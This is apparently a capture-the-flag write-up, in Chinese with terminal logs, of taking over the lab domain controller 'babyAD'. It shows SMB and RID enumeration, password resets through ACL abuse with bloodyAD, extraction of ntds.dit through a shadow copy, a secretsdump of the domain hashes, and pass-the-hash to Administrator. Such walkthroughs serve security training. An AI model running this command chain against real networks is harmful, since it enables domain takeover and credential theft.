babyAD
1. User
1.1. 端口扫描
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nmap 192.168.1.5 --min-rate 10000 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-03 06:22 EST Nmap scan report for 192.168.1.5 Host is up (0.00037s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman MAC Address: 00:0C:29:AC:31:59 (VMware) Nmap done: 1 IP address (1 host up) scanned in 5.55 seconds ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nmap 192.168.1.5 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 -sCV -O Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-03 06:24 EST Nmap scan report for 192.168.1.5 Host is up (0.00051s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-03 11:24:28Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: babyAD.com0., Site: Default-Fi rst-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: babyAD.com0., Site: Default-Fi rst-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 MAC Address: 00:0C:29:AC:31:59 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_201 6 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windo ws Server 2016 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: BABYAD; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_nbstat: NetBIOS name: BABYAD, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ac:31:59 (VMware) | smb2-time: | date: 2026-01-03T11:24:33 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.76 seconds
1.2. SMB
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u 'guest' -p '' --shares SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\guest: SMB 192.168.1.5 445 BABYAD [*] Enumerated shares SMB 192.168.1.5 445 BABYAD Share Permissions Remark SMB 192.168.1.5 445 BABYAD ----- ----------- ------ SMB 192.168.1.5 445 BABYAD ADMIN$ 远程管理 SMB 192.168.1.5 445 BABYAD C$ 默认共享 SMB 192.168.1.5 445 BABYAD IPC$ READ 远程 IPC SMB 192.168.1.5 445 BABYAD NETLOGON Logon server share SMB 192.168.1.5 445 BABYAD SYSVOL Logon server share SMB 192.168.1.5 445 BABYAD Technical Security Notice READ
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u '' -p '' --generate-hosts-file hosts SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:B ABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\: ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u '' -p '' --generate-krb5-file /etc/krb5.conf cat SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (na me:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] krb5 conf saved to: /etc/krb5.conf SMB 192.168.1.5 445 BABYAD [+] Run the following command to use the conf f ile: export KRB5_CONFIG=/etc/krb5.conf SMB 192.168.1.5 445 BABYAD [+] babyAD.com\: h ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# cat hosts 192.168.1.5 BABYAD.babyAD.com babyAD.com BABYAD ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# cat hosts >> /etc/hosts
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# impacket-smbclient 'guest:@192.168.1.5' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: Type help for list of commands # shares ADMIN$ C$ IPC$ NETLOGON SYSVOL Technical Security Notice # use 'Technical Security Notice' # use Technical Security Notice # ls drw-rw-rw- 0 Fri Dec 26 23:10:12 2025 . drw-rw-rw- 0 Fri Dec 26 23:27:54 2025 .. -rw-rw-rw- 5045 Fri Dec 26 23:10:12 2025 技术安全通告.pdf # get 技术安全通告.pdf # exit
1.3. RID_Cycling
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u 'guest' -p '' --rid-brute SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:B ABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\guest: SMB 192.168.1.5 445 BABYAD 498: BABYAD0\Enterprise Read-only Domain Contro llers (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 500: BABYAD0\Administrator (SidTypeUser) SMB 192.168.1.5 445 BABYAD 501: BABYAD0\Guest (SidTypeUser) SMB 192.168.1.5 445 BABYAD 502: BABYAD0\krbtgt (SidTypeUser) SMB 192.168.1.5 445 BABYAD 512: BABYAD0\Domain Admins (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 513: BABYAD0\Domain Users (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 514: BABYAD0\Domain Guests (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 515: BABYAD0\Domain Computers (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 516: BABYAD0\Domain Controllers (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 517: BABYAD0\Cert Publishers (SidTypeAlias) SMB 192.168.1.5 445 BABYAD 518: BABYAD0\Schema Admins (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 519: BABYAD0\Enterprise Admins (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 520: BABYAD0\Group Policy Creator Owners (SidTy peGroup) SMB 192.168.1.5 445 BABYAD 521: BABYAD0\Read-only Domain Controllers (SidT ypeGroup) SMB 192.168.1.5 445 BABYAD 522: BABYAD0\Cloneable Domain Controllers (SidT ypeGroup) SMB 192.168.1.5 445 BABYAD 525: BABYAD0\Protected Users (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 526: BABYAD0\Key Admins (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 527: BABYAD0\Enterprise Key Admins (SidTypeGrou p) SMB 192.168.1.5 445 BABYAD 553: BABYAD0\RAS and IAS Servers (SidTypeAlias) SMB 192.168.1.5 445 BABYAD 571: BABYAD0\Allowed RODC Password Replication Group (SidTypeAlias) SMB 192.168.1.5 445 BABYAD 572: BABYAD0\Denied RODC Password Replication G roup (SidTypeAlias) SMB 192.168.1.5 445 BABYAD 1000: BABYAD0\BABYAD$ (SidTypeUser) SMB 192.168.1.5 445 BABYAD 1101: BABYAD0\DnsAdmins (SidTypeAlias) SMB 192.168.1.5 445 BABYAD 1102: BABYAD0\DnsUpdateProxy (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 1103: BABYAD0\acc_admins (SidTypeGroup) SMB 192.168.1.5 445 BABYAD 1104: BABYAD0\wackymaker (SidTypeUser) SMB 192.168.1.5 445 BABYAD 1105: BABYAD0\babyad-admin (SidTypeUser) SMB 192.168.1.5 445 BABYAD 1106: BABYAD0\backup-opt (SidTypeUser) SMB 192.168.1.5 445 BABYAD 1107: BABYAD0\server-opt (SidTypeUser) SMB 192.168.1.5 445 BABYAD 1108: BABYAD0\accn-opt (SidTypeUser)
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u valid_user.txt -p valid_user.txt --no-bruteforce SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [-] babyAD.com\Administrator:Administrator STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\Guest:Guest STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\krbtgt:krbtgt STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\BABYAD$:BABYAD$ STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\wackymaker:wackymaker STATUS_PASSWORD_MUST_CHANGE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\babyad-admin:babyad-admin STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\backup-opt:backup-opt STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\server-opt:server-opt STATUS_LOGON_FAILURE SMB 192.168.1.5 445 BABYAD [-] babyAD.com\accn-opt:accn-opt STATUS_LOGON_FAILURE
改下密码
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u wackymaker -p wackymaker -M change-password -o NEWPASS=Admin123 SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [-] babyAD.com\wackymaker:wackymaker STATUS_PASSWORD_MUST_CHANGE CHANGE-P... 192.168.1.5 445 BABYAD [+] Successfully changed password for wackymaker
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u wackymaker -p Admin123 SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\wackymaker:Admin123 ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc winrm 192.168.1.5 -u wackymaker -p Admin123 WINRM 192.168.1.5 5985 BABYAD [*] Windows Server 2022 Build 20348 (name:BABYAD) (domain:babyAD.com) WINRM 192.168.1.5 5985 BABYAD [+] babyAD.com\wackymaker:Admin123 (Pwn3d!)
1.4. winrm
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# evil-winrm -i 192.168.1.5 -u wackymaker -p Admin123 Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\wackymaker\Documents> whoami;hostname babyad0\wackymaker babyAD *Evil-WinRM* PS C:\Users\wackymaker\Documents>
*Evil-WinRM* PS C:\Users\wackymaker\desktop> dir *Evil-WinRM* PS C:\Users\wackymaker\desktop> gci -path c:\users user.txt 目录: C:\users Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 12/27/2025 11:55 AM 18 user.txt *Evil-WinRM* PS C:\Users\wackymaker\desktop> gc c:\users\user.txt a3f5c9e47d2b1a8f
2. System
2.1. bloodhound
*Evil-WinRM* PS C:\Users\wackymaker\desktop> upload SharpHound.exe Info: Uploading /root/Desktop/machines/babyAD/SharpHound.exe to C:\Users\wackymaker\desktop\SharpHound.exe Data: 1748308 bytes of 1748308 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\wackymaker\desktop> .\SharpHound.exe -c ALL 2026-01-03T20:09:25.0406600+08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound 2026-01-03T20:09:25.1812350+08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry 2026-01-03T20:09:25.2125237+08:00|INFORMATION|Initializing SharpHound at 20:09 on 2026/1/3 2026-01-03T20:09:25.2437172+08:00|INFORMATION|Resolved current domain to babyAD.com 2026-01-03T20:09:25.3542563+08:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry 2026-01-03T20:09:25.4166617+08:00|INFORMATION|Beginning LDAP search for babyAD.com ... 2026-01-03T20:09:31.8660681+08:00|INFORMATION|Output channel closed, waiting for output task to complete Closing writers 2026-01-03T20:09:31.9288670+08:00|INFORMATION|Status: 299 objects finished (+299 49.83333)/s -- Using 72 MB RAM 2026-01-03T20:09:31.9288670+08:00|INFORMATION|Enumeration finished in 00:00:06.5298466 2026-01-03T20:09:32.0071000+08:00|INFORMATION|Saving cache with stats: 20 ID to type mappings. 0 name to SID mappings. 1 machine sid mappings. 3 sid to domain mappings. 0 global catalog mappings. 2026-01-03T20:09:32.0227859+08:00|INFORMATION|SharpHound Enumeration Completed at 20:09 on 2026/1/3! Happy Graphing! *Evil-WinRM* PS C:\Users\wackymaker\desktop> dir 目录: C:\Users\wackymaker\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/3/2026 8:09 PM 28121 20260103200926_BloodHound.zip -a---- 1/3/2026 8:09 PM 1566 N2Q4YzlmOWUtOGQxOC00ZmNiLTkzZjktNmJkOGZlYmQ5MzM4.bin -a---- 1/3/2026 8:09 PM 1311232 SharpHound.exe *Evil-WinRM* PS C:\Users\wackymaker\desktop> download 20260103200926_BloodHound.zip Info: Downloading C:\Users\wackymaker\desktop\20260103200926_BloodHound.zip to 20260103200926_BloodHound.zip Info: Download successful!
先把自己加到ACC_ADMINS组里面
┌──(root㉿kali)-[~/Desktop/BloodHound] └─# bloodyAD --host BABYAD.babyAD.com -d babyAD.com -u 'wackymaker' -p 'Admin123' -k --dc-ip 192.168.1.5 set owner 'ACC_ADMINS' 'wackymaker' [+] Old owner S-1-5-21-3649830887-1815587496-1699028491-512 is now replaced by wackymaker on ACC_ADMINS ┌──(root㉿kali)-[~/Desktop/BloodHound] └─# bloodyAD --host BABYAD.babyAD.com -d babyAD.com -u 'wackymaker' -p 'Admin123' -k --dc-ip 192.168.1.5 add genericAll 'ACC_ADMINS' 'wackymaker' [+] wackymaker has now GenericAll on ACC_ADMINS ┌──(root㉿kali)-[~/Desktop/BloodHound] └─# bloodyAD --host BABYAD.babyAD.com -d babyAD.com -u 'wackymaker' -p 'Admin123' -k --dc-ip 192.168.1.5 add groupMember 'ACC_ADMINS' 'wackymaker' [+] wackymaker added to ACC_ADMINS
然后改BABYAD-ADM的密码
┌──(root㉿kali)-[~/Desktop/machines/babyAD/ansi-colors] └─# bloodyAD --host BABYAD.babyAD.com -k --dc-ip 192.168.1.5 -d babyAD.com -u 'wackymaker' -p 'Admin123' set password BABYAD-ADMIN Admin123 [+] Password changed successfully! ┌──(root㉿kali)-[~/Desktop/machines/babyAD/ansi-colors] └─# nxc smb 192.168.1.5 -u BABYAD-ADMIN -p Admin123 SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\BABYAD-ADMIN:Admin123 ┌──(root㉿kali)-[~/Desktop/machines/babyAD/ansi-colors] └─# nxc winrm 192.168.1.5 -u BABYAD-ADMIN -p Admin123 WINRM 192.168.1.5 5985 BABYAD [*] Windows Server 2022 Build 20348 (name:BABYAD) (domain:babyAD.com) WINRM 192.168.1.5 5985 BABYAD [+] babyAD.com\BABYAD-ADMIN:Admin123 (Pwn3d!)
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# bloodyAD --host BABYAD.babyAD.com -k --dc-ip 192.168.1.5 -d babyAD.com -u 'BABYAD-ADMIN' -p 'Admin123' set password BACKUP-OPT Admin123 [+] Password changed successfully! ┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# nxc smb 192.168.1.5 -u BACKUP-OPT -p Admin123 SMB 192.168.1.5 445 BABYAD [*] Windows Server 2022 Build 20348 x64 (name:BABYAD) (domain:babyAD.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.1.5 445 BABYAD [+] babyAD.com\BACKUP-OPT:Admin123
*Evil-WinRM* PS C:\Users\backup-opt\Documents> whoami /priv 特权信息 ---------------------- 特权名 描述 状态 ============================= ================ ====== SeMachineAccountPrivilege 将工作站添加到域 已启用 SeBackupPrivilege 备份文件和目录 已启用 SeRestorePrivilege 还原文件和目录 已启用 SeShutdownPrivilege 关闭系统 已启用 SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用 *Evil-WinRM* PS C:\Users\backup-opt\Documents>
2.2. 卷影备份
*Evil-WinRM* PS C:\temp> diskshadow /s raj.dsh Microsoft DiskShadow 版本 1.0 版权所有 (C) 2013 Microsoft Corporation 在计算机上: BABYAD，2026/1/3 23:26:01 -> set context persistent nowriters -> add volume c: alias raj -> create 已将卷影 ID {c517776e-4909-438e-939e-9075f39a773a} 的别名 raj 设置为环境变量。 已将卷影集 ID {eeb0e07c-db9d-4383-8ea8-e717ceec7542} 的别名 VSS_SHADOW_SET 设置为环境变量。 正在查询卷影副本集 ID 为 {eeb0e07c-db9d-4383-8ea8-e717ceec7542} 的所有卷影副本 * 卷影副本 ID = {c517776e-4909-438e-939e-9075f39a773a} %raj% - 卷影副本集: {eeb0e07c-db9d-4383-8ea8-e717ceec7542} %VSS_SHADOW_SET% - 卷影副本原始数 = 1 - 原始卷名称: \\?\Volume{ed91bad1-0000-0000-0000-500600000000}\ [C:\] - 创建时间: 2026/1/3 23:26:01 - 卷影副本设备名称: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 - 原始计算机: babyAD.babyAD.com - 服务计算机: babyAD.babyAD.com - 未暴露 - 提供程序 ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - 属性: No_Auto_Release Persistent No_Writers Differential 已列出的卷影副本数: 1 -> expose %raj% z: -> %raj% = {c517776e-4909-438e-939e-9075f39a773a} 已成功将卷影副本暴露为 z:\。 -> *Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit ------------------------------------------------------------------------------- ROBOCOPY :: Windows 的可靠文件复制 ------------------------------------------------------------------------------- 开始时间: 2026年1月3日 23:26:10 源: z:\windows\ntds\ 目标: C:\temp\ 文件: ntds.dit 选项: /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30 ------------------------------------------------------------------------------ 1 z:\windows\ntds\ 新文件 16.0 m ntds.dit 0.0% 0.3% 0.7% 1.1% 1.5% 1.9% 2.3% 2.7% ... ------------------------------------------------------------------------------ 总数 复制 跳过 不匹配 失败 其他 目录: 1 0 1 0 0 0 文件: 1 1 0 0 0 0 字节: 16.00 m 16.00 m 0 0 0 0 时间: 0:00:00 0:00:00 0:00:00 0:00:00 速度: 270,600,258 字节/秒。 速度: 15,483.871 MB/分钟。 已结束: 2026年1月3日 23:26:10 *Evil-WinRM* PS C:\temp> reg save hklm\system c:\Temp\system 操作成功完成。 *Evil-WinRM* PS C:\temp> cd C:\Temp *Evil-WinRM* PS C:\Temp> download ntds.dit Info: Downloading C:\Temp\ntds.dit to ntds.dit Info: Download successful! *Evil-WinRM* PS C:\Temp> download system Info: Downloading C:\Temp\system to system Info: Download successful! *Evil-WinRM* PS C:\Temp>
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# impacket-secretsdump -ntds ntds.dit -system system local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x9aec2145c768b9975d683cbd0b2138e0 [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: ca0a78b7f0d8e8d570163049c1742318 [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: BABYAD$:1000:aad3b435b51404eeaad3b435b51404ee:1eb9a569e97548b6a4629f64979a193c::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6fab09b974ecbb7ba5447a076f494689::: wackymaker:1104:aad3b435b51404eeaad3b435b51404ee:838e18ea954162b03ddea84fa0284139::: babyad.com\babyad-admin:1105:aad3b435b51404eeaad3b435b51404ee:656d231c131a8f1ea8fd1138b8185674::: backup-opt:1106:aad3b435b51404eeaad3b435b51404ee:5ad41e36af059c77865edbc22925c33c::: server-opt:1107:aad3b435b51404eeaad3b435b51404ee:d99f9d8da6dad6dcae6b0d96104a445b::: accn-opt:1108:aad3b435b51404eeaad3b435b51404ee:b9a7a7fcc60bdb049811e7c7388112a3::: [*] Kerberos keys from ntds.dit Administrator:aes256-cts-hmac-sha1-96:0218bc05d978eff9d49b5578b0b82d2b6f6fd19b47b55f91c07a555dac208574 Administrator:aes128-cts-hmac-sha1-96:4f3a074e29171c06ab3db041c1be2128 Administrator:des-cbc-md5:34701ccb6efb9704 BABYAD$:aes256-cts-hmac-sha1-96:37cbade9fb078f11a30748756fd92ff7c64af78ca036f546c7ee10326ee3cf20 BABYAD$:aes128-cts-hmac-sha1-96:d896106e4587e25cb645b44c5f2aef0c BABYAD$:des-cbc-md5:d3b02ac8106ba89e krbtgt:aes256-cts-hmac-sha1-96:d24121bf2b99d3645b4d7360107674ba6e9f3c55ba79d3d508906e29f1e8a81e krbtgt:aes128-cts-hmac-sha1-96:5ed92e70800a8bc3da8e8a9220807d5e krbtgt:des-cbc-md5:2546020262f197a7 wackymaker:aes256-cts-hmac-sha1-96:9f8fc1b72c86c3881697938460386a078d0e062c07773f60961b5ef037571977 wackymaker:aes128-cts-hmac-sha1-96:2ef671fea3cbc6a11689c264636cf316 wackymaker:des-cbc-md5:0b7a079edae54c9e babyad.com\babyad-admin:aes256-cts-hmac-sha1-96:29f8a0be305a6a998fd0cb2798e3701f971370c9131d3e2369a13e2750130bc5 babyad.com\babyad-admin:aes128-cts-hmac-sha1-96:63a252cbc4cdc9ceeadea523d04b6673 babyad.com\babyad-admin:des-cbc-md5:f4983204910dbc62 backup-opt:aes256-cts-hmac-sha1-96:e6bd82c49938190ac40fc85355f3c1bb4e8d9739b2e33f9f7d9966b9664cbc12 backup-opt:aes128-cts-hmac-sha1-96:37dc64a75ed9200fcbf844e2d0f4c3ed backup-opt:des-cbc-md5:98e68c7c892a1fe5 server-opt:aes256-cts-hmac-sha1-96:58ce476e9085de94eefb9fde291703bc6bfc98085f9130fca1af4f17cc9f2f54 server-opt:aes128-cts-hmac-sha1-96:83694fead3994f8afe47736c447dd676 server-opt:des-cbc-md5:2f91d026abdaae08 accn-opt:aes256-cts-hmac-sha1-96:3c0003e231985e6cefb136450c1e3c2c597377f15156402e76c503f7604f5949 accn-opt:aes128-cts-hmac-sha1-96:bfe789b2a8141a2081540ac6262424a9 accn-opt:des-cbc-md5:457acdf425c80d68 [*] Cleaning up...
┌──(root㉿kali)-[~/Desktop/machines/babyAD] └─# evil-winrm -i 192.168.1.5 -u administrator -H bbabdc192282668fe5190ab0c5150b34 Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoamibabyad0\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> gc ../desktop/root.txt6e9d14c2b7f08a53 *Evil-WinRM* PS C:\Users\Administrator\Documents>